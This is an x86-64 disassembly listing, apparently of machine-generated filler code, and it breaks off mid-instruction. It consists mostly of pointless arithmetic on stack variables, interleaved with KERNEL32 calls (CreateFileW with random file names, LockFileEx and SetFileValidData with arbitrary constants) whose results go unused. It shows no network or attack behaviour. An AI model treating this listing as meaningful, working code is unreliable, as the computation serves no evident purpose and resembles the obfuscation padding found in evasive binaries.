mov eax, dword [rsp + 0xa6b0]
mov ecx, dword [0x140282804]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7684], eax
mov eax, dword [rsp + 0x70f8]
mov ecx, dword [rsp + 0xaa3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6944], eax
mov rax, qword [rsp + 0x14110]
mov ecx, dword [0x14028ed6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa53c], eax
lea rax, [rsp + 0xa9b8]
mov qword [rsp + 0x14e30], rax
mov rax, qword [rsp + 0x14c18]
mov rcx, qword [rsp + 0x14b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3e8], eax
mov rax, qword [rsp + 0x14dc0]
movzx eax, byte [rax]
mov rcx, qword [0x14028eca8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x719], al
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dac]
sub eax, ecx
mov word [0x140282700], ax
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov dword [rsp + 0xabf0], eax
mov rax, qword [rsp + 0x143a8]
mov rcx, qword [0x14028ecf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ca4], eax
mov eax, dword [rsp + 0x7e30]
mov dword [rsp + 0xabf4], eax
mov rax, qword [rsp + 0x14dd8]
mov ecx, dword [rsp + 0xa540]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa934], eax
movzx eax, word [0x14028271c]
movzx ecx, word [rsp + 0x2c80]
sub eax, ecx
mov word [rsp + 0x1b68], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x143b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x682], al
movsx eax, byte [rsp + 0x69a]
movsx ecx, byte [rsp + 0x4c7]
shl eax, cl
mov byte [rsp + 0x655], al
lea rax, [rsp + 0x1af8]
mov qword [rsp + 0x14e38], rax
mov eax, dword [rsp + 0xa9a0]
mov dword [0x14028ec3c], eax
mov eax, dword [rsp + 0xa9b0]
mov ecx, dword [rsp + 0xab70]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa78], eax
lea rax, [0x140281e1b]
mov qword [rsp + 0x14e40], rax
movzx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14c90]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa7f0], eax
lea rdx, [rsp + 0xa6d0]
mov rcx, qword [rsp + 0x14508]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xabf8], eax
mov eax, dword [rsp + 0xa91c]
mov ecx, dword [rsp + 0xa3b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6828], eax
mov eax, dword [0x14028275c]
mov dword [rsp + 0xabfc], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9644], eax
lea rax, [rsp + 0x6564]
mov qword [rsp + 0x14e48], rax
movzx eax, word [rsp + 0x22a8]
movzx ecx, word [rsp + 0x2db0]
sub eax, ecx
mov word [rsp + 0x2958], ax
mov rax, qword [rsp + 0x143b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e6]
and eax, ecx
mov rcx, qword [0x14028ed80]
mov byte [rcx], al
mov rax, qword [rsp + 0x14dd8]
mov rcx, qword [rsp + 0x14bd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x141c8]
mov dword [rcx], eax
lea rax, [rsp + 0xa498]
mov qword [rsp + 0x14e50], rax
mov eax, dword [rsp + 0x73b4]
mov ecx, dword [rsp + 0xa3e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa914], eax
lea rax, [rsp + 0x6828]
mov qword [rsp + 0x14e58], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov eax, dword [rsp + 0x9790]
mov ecx, dword [rsp + 0xab88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa414], eax
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dc8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x14db8]
movzx eax, byte [rax]
mov byte [rsp + 0x71a], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aec]
add eax, ecx
mov word [rsp + 0x2d48], ax
movzx eax, byte [rsp + 0x1b5]
movzx ecx, byte [rsp + 0x68e]
shl eax, cl
mov byte [0x140281e56], al
mov eax, dword [rsp + 0xa630]
mov ecx, dword [rsp + 0x8a80]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f78], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab0c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4a8], eax
lea rax, [rsp + 0x2dc0]
mov qword [rsp + 0x14e60], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movzx eax, byte [rsp + 0x692]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x691], al
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8aac], eax
mov eax, dword [rsp + 0xa9e4]
mov dword [rsp + 0xac00], eax
mov eax, dword [rsp + 0x7a5c]
mov ecx, dword [0x14028edc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x143a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14970]
mov eax, dword [rax]
mov dword [rsp + 0xac04], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.6ipAIzbXuSEywsGt0h4k8PlM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14e68], rax
movzx eax, word [rsp + 0x2e74]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14028284c], ax
movzx eax, byte [rsp + 0x699]
mov rcx, qword [rsp + 0x14148]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65f], al
mov rax, qword [rsp + 0x147d0]
mov ecx, dword [rsp + 0x8f10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa944], eax
mov eax, dword [rsp + 0xa5cc]
mov dword [rsp + 0xac08], eax
movsx eax, byte [rsp + 0x619]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x649], al
lea rax, [rsp + 0x2cf8]
mov qword [rsp + 0x14e70], rax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
movzx ecx, byte [0x140281e32]
add eax, ecx
mov byte [rsp + 0x3db], al
mov rax, qword [rsp + 0x14918]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b18]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov eax, dword [rsp + 0x8598]
mov ecx, dword [rsp + 0xa488]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x899c], eax
mov eax, dword [rsp + 0xa304]
mov ecx, dword [rsp + 0xabcc]
sub ecx, eax
mov eax, ecx
mov dword [0x1402826ec], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa968]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14098]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa9e4]
mov dword [rsp + 0xac0c], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa544]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x149a0]
mov dword [rcx], eax
lea rax, [rsp + 0x2e84]
mov qword [rsp + 0x14e78], rax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14480]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14838]
mov qword [rsp + 0x14e80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e80]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7350], eax
mov rax, qword [rsp + 0x14730]
mov eax, dword [rax]
mov dword [rsp + 0xac10], eax
mov rax, qword [rsp + 0x143d8]
mov ecx, dword [0x1402827ec]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14b78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa908]
mov ecx, dword [rsp + 0xab70]
add ecx, eax
mov eax, ecx
mov dword [0x140282794], eax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x156]
sub eax, ecx
mov byte [rsp + 0x4b6], al
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14c90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cf0], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xaa80], eax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65b], al
movzx eax, word [rsp + 0x2d68]
mov word [rsp + 0x2edc], ax
mov rax, qword [0x14028ee10]
mov rcx, qword [rsp + 0x14930]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaaf8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9f8], eax
mov eax, dword [rsp + 0xabf4]
mov dword [rsp + 0xac14], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x689
mov r9d, 0x18be
mov r8d, 0x760ce31b
mov edx, 2
mov rcx, qword [rsp + 0x14a50]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xabe0], eax
movzx eax, byte [rsp + 0x6d4]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x46c], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14e88], rax
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d00]
sub eax, ecx
mov rcx, qword [rsp + 0x14498]
mov word [rcx], ax
mov rcx, qword [rsp + 0x147e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa748], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov dword [0x14028ec38], eax
lea rax, [rsp + 0xa658]
mov qword [rsp + 0x14e90], rax
mov rax, qword [rsp + 0x14300]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8b64], eax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9454], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [0x14028ed60]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14a90]
mov byte [rcx], al
movzx eax, word [rsp + 0x2568]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c24], ax
mov rax, qword [rsp + 0x14c20]
mov eax, dword [rax]
mov dword [rsp + 0xac18], eax
mov eax, dword [rsp + 0xa77c]
mov rcx, qword [rsp + 0x14a88]
mov qword [rsp + 0x14e98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e98]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x73f4], eax
mov eax, dword [rsp + 0x86e0]
mov dword [rsp + 0xac1c], eax
mov rax, qword [rsp + 0x14d90]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140282850], eax
mov rax, qword [rsp + 0x14630]
mov ecx, dword [rsp + 0xa3c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3a4], eax
mov rax, qword [rsp + 0x142c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x19b0], ax
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x655]
add eax, ecx
mov byte [rsp + 0x649], al
mov rax, qword [rsp + 0x14888]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x149e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x586], al
movzx ecx, word [rsp + 0x2ecc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x14dc8]
movzx eax, word [rax]
mov word [rsp + 0x2ee0], ax
mov rax, qword [rsp + 0x14be0]
mov rcx, qword [0x14028ee60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab90], eax
mov rax, qword [rsp + 0x143a8]
mov eax, dword [rax]
mov dword [rsp + 0xac20], eax
mov rax, qword [rsp + 0x149e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65f]
sub eax, ecx
mov byte [rsp + 0x703], al
movzx eax, word [rsp + 0x2b94]
movzx ecx, word [rsp + 0x2160]
sub eax, ecx
mov word [0x140282698], ax
mov rax, qword [rsp + 0x14b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa694], eax
mov eax, dword [rsp + 0xa2bc]
mov dword [rsp + 0xac24], eax
mov rax, qword [rsp + 0x14de0]
mov ecx, dword [0x14028ecd8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa908], eax
lea rcx, [0x140283fa0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ee4], ax
mov edx, 0x7a0c7b
mov rcx, qword [rsp + 0x143d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xab74], eax
mov rax, qword [rsp + 0x14ae0]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x88b8], eax
movzx eax, word [rsp + 0x2ea4]
movzx ecx, word [rsp + 0x2b40]
sar eax, cl
mov word [rsp + 0x2c5c], ax
movzx eax, byte [rsp + 0x3f3]
mov rcx, qword [rsp + 0x147c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x143f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov dword [rsp + 0xac28], eax
mov eax, dword [rsp + 0x94dc]
movzx ecx, al
mov eax, dword [rsp + 0xaa68]
shl eax, cl
mov dword [rsp + 0xaa64], eax
movsx eax, word [rsp + 0x2c28]
mov rcx, qword [rsp + 0x14e70]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14028eeb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14db8]
movzx eax, byte [rax]
mov byte [rsp + 0x71b], al
movzx eax, word [rsp + 0x2b50]
mov rcx, qword [rsp + 0x148e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e84], ax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f5]
and eax, ecx
mov byte [rsp + 0x684], al
mov rax, qword [rsp + 0x14ba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9590], eax
mov eax, dword [rsp + 0x695c]
mov ecx, dword [0x1402827f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9330], eax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov dword [rsp + 0xac2c], eax
mov eax, dword [rsp + 0xa608]
mov ecx, dword [rsp + 0xab54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa9c], eax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
mov dword [rsp + 0xac30], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14108], rax
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ce8]
sub eax, ecx
mov word [rsp + 0x2bf8], ax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [0x140281dab]
sub eax, ecx
mov byte [0x140281e57], al
mov rax, qword [rsp + 0x14df0]
mov rcx, qword [rsp + 0x14d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x14140]
mov ecx, dword [rsp + 0xa3c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x65d8], eax
mov rax, qword [rsp + 0x14b68]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa918], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.d6W0Pmm11FLYDDH9JKU7X0KoojVN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14ea0], rax
lea rax, [rsp + 0xa848]
mov qword [rsp + 0x14ea8], rax
movzx eax, byte [rsp + 0x43d]
mov rcx, qword [rsp + 0x14480]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6de], al
movzx eax, word [0x1402827e4]
movzx ecx, word [rsp + 0x2e84]
shl eax, cl
mov rcx, qword [rsp + 0x14758]
mov word [rcx], ax
lea rax, [rsp + 0x25dc]
mov qword [rsp + 0x14eb0], rax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6c7], al
lea rax, [0x1402827a4]
mov qword [0x14028ec30], rax
mov eax, dword [rsp + 0xa778]
mov dword [rsp + 0xac34], eax
mov rax, qword [rsp + 0x14b20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14338]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3c5], al
movzx eax, word [rsp + 0x2c9c]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2098], ax
mov eax, dword [rsp + 0xa8ac]
mov dword [rsp + 0xac38], eax
mov rax, qword [rsp + 0x14df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6cc], eax
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x14ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8f64], eax
mov rax, qword [rsp + 0x14cb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6c8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14578]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b08]
movzx eax, byte [rax]
mov byte [rsp + 0x71c], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d3c]
add eax, ecx
mov word [0x140282838], ax
mov rax, qword [rsp + 0x14dd8]
mov ecx, dword [rsp + 0xaaf8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x899c], eax
mov rax, qword [rsp + 0x14580]
mov ecx, dword [0x1402827bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14de8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov dword [rsp + 0xac3c], eax
mov rcx, qword [rsp + 0x14a28]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa850], eax
mov rax, qword [rsp + 0x14d60]
mov ecx, dword [rsp + 0xabe8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6fc], eax
mov rax, qword [rsp + 0x14b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa0], eax
movsx eax, byte [rsp + 0x66f]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70c], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x382b
mov r9d, 0x37d5
mov r8d, 0x87def395
mov edx, 2
mov rcx, qword [rsp + 0x14e68]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa7cc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xac40], eax
movsx eax, word [rsp + 0x1dc8]
movsx ecx, word [rsp + 0x2ed8]
sub eax, ecx
mov word [rsp + 0x1f08], ax
lea rax, [rsp + 0x693]
mov qword [rsp + 0x14eb8], rax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e14]
xor eax, ecx
mov word [0x1402827e4], ax
mov rax, qword [rsp + 0x14ea8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14880]
mov qword [rsp + 0x14ec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ec0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xab48], eax
lea rax, [rsp + 0xaa94]
mov qword [rsp + 0x14ec8], rax
movzx eax, byte [rsp + 0x6b6]
mov rcx, qword [rsp + 0x14a90]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x67b], al
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [0x140282768]
or eax, ecx
mov rcx, qword [rsp + 0x14310]
mov word [rcx], ax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov dword [rsp + 0xac44], eax
mov rax, qword [rsp + 0x14b30]
mov rcx, qword [rsp + 0x14b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa370], eax
mov eax, dword [rsp + 0xa7fc]
mov dword [rsp + 0xac48], eax
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [rsp + 0xa40c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9790], eax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov byte [0x14028ec2e], al
movzx eax, word [rsp + 0x2c50]
movzx ecx, word [rsp + 0x2eb0]
sub eax, ecx
mov word [rsp + 0x2c00], ax
mov eax, dword [rsp + 0xa4bc]
mov dword [rsp + 0xac4c], eax
mov rax, qword [rsp + 0x14ca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8288]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c9c], eax
movsx eax, word [rsp + 0x2e54]
mov rcx, qword [rsp + 0x143c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x25a0], ax
mov rax, qword [rsp + 0x14968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6da]
sub eax, ecx
mov byte [rsp + 0x62e], al
movzx eax, byte [rsp + 0x6c1]
mov byte [rsp + 0x71d], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e74]
add eax, ecx
mov rcx, qword [rsp + 0x14a00]
mov word [rcx], ax
mov rax, qword [rsp + 0x14cd8]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x148c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14768]
mov rcx, qword [rsp + 0x14110]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028272c], eax
lea rax, [rsp + 0xa670]
mov qword [rsp + 0x14ed0], rax
mov edx, 0x48e15c
mov rcx, qword [rsp + 0x14a28]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xaa60], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa29c], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14ca0]
mov qword [rsp + 0x14ed8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ed8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaa08], eax
mov rcx, qword [rsp + 0x141a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov dword [rsp + 0xac50], eax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e78]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c24], ax
movzx eax, byte [rsp + 0x6ad]
movzx ecx, byte [rsp + 0x716]
sar eax, cl
mov byte [rsp + 0x546], al
lea rax, [rsp + 0xa410]
mov qword [rsp + 0x14ee0], rax
mov rax, qword [rsp + 0x144a8]
mov rcx, qword [rsp + 0x14b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7f78], eax
mov rax, qword [rsp + 0x14b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9384], eax
mov rax, qword [0x14028ec50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa03c]
add ecx, eax
mov eax, ecx
mov dword [0x140282854], eax
movzx eax, byte [rsp + 0x6e3]
mov rcx, qword [rsp + 0x143b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x713], al
movzx eax, word [rsp + 0x22a8]
mov rcx, qword [rsp + 0x14dc8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14ab0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14eb0]
movzx eax, word [rax]
mov word [rsp + 0x2ee8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x641], al
xor r9d, r9d
lea r8, [rsp + 0x14740]
mov rdx, qword [rsp + 0x13f28]
mov rcx, qword [rsp + 0x14db0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [rsp + 0xac54], eax
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8b90]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6e4], eax
movzx eax, byte [rsp + 0x550]
movzx ecx, byte [rsp + 0x6d7]
add eax, ecx
mov byte [rsp + 0x5c7], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d3c]
add eax, ecx
mov word [rsp + 0x2db0], ax
mov dword [rsp + 0x20], 0x20a3
mov r9d, 0x36df
mov r8d, 0x23d5
mov edx, 0x39be
mov rcx, qword [rsp + 0x14558]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xac58], eax
mov eax, dword [rsp + 0x6fd0]
mov ecx, dword [rsp + 0xa938]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ee98]
mov dword [rcx], eax
mov eax, dword [rsp + 0xac50]
mov ecx, dword [rsp + 0x9a0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d60]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa8a4]
mov dword [rsp + 0xac5c], eax
mov rax, qword [rsp + 0x14ca0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14cd8]
mov qword [rsp + 0x14ee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ee8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaa00], eax
movzx eax, word [rsp + 0x1bbc]
mov word [rsp + 0x2eec], ax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ce]
xor eax, ecx
mov byte [rsp + 0x699], al
mov eax, dword [rsp + 0x7730]
movzx ecx, al
mov eax, dword [rsp + 0x8b90]
sar eax, cl
mov dword [rsp + 0xa6e4], eax
mov eax, dword [rsp + 0xa6c8]
mov ecx, dword [rsp + 0xa9bc]
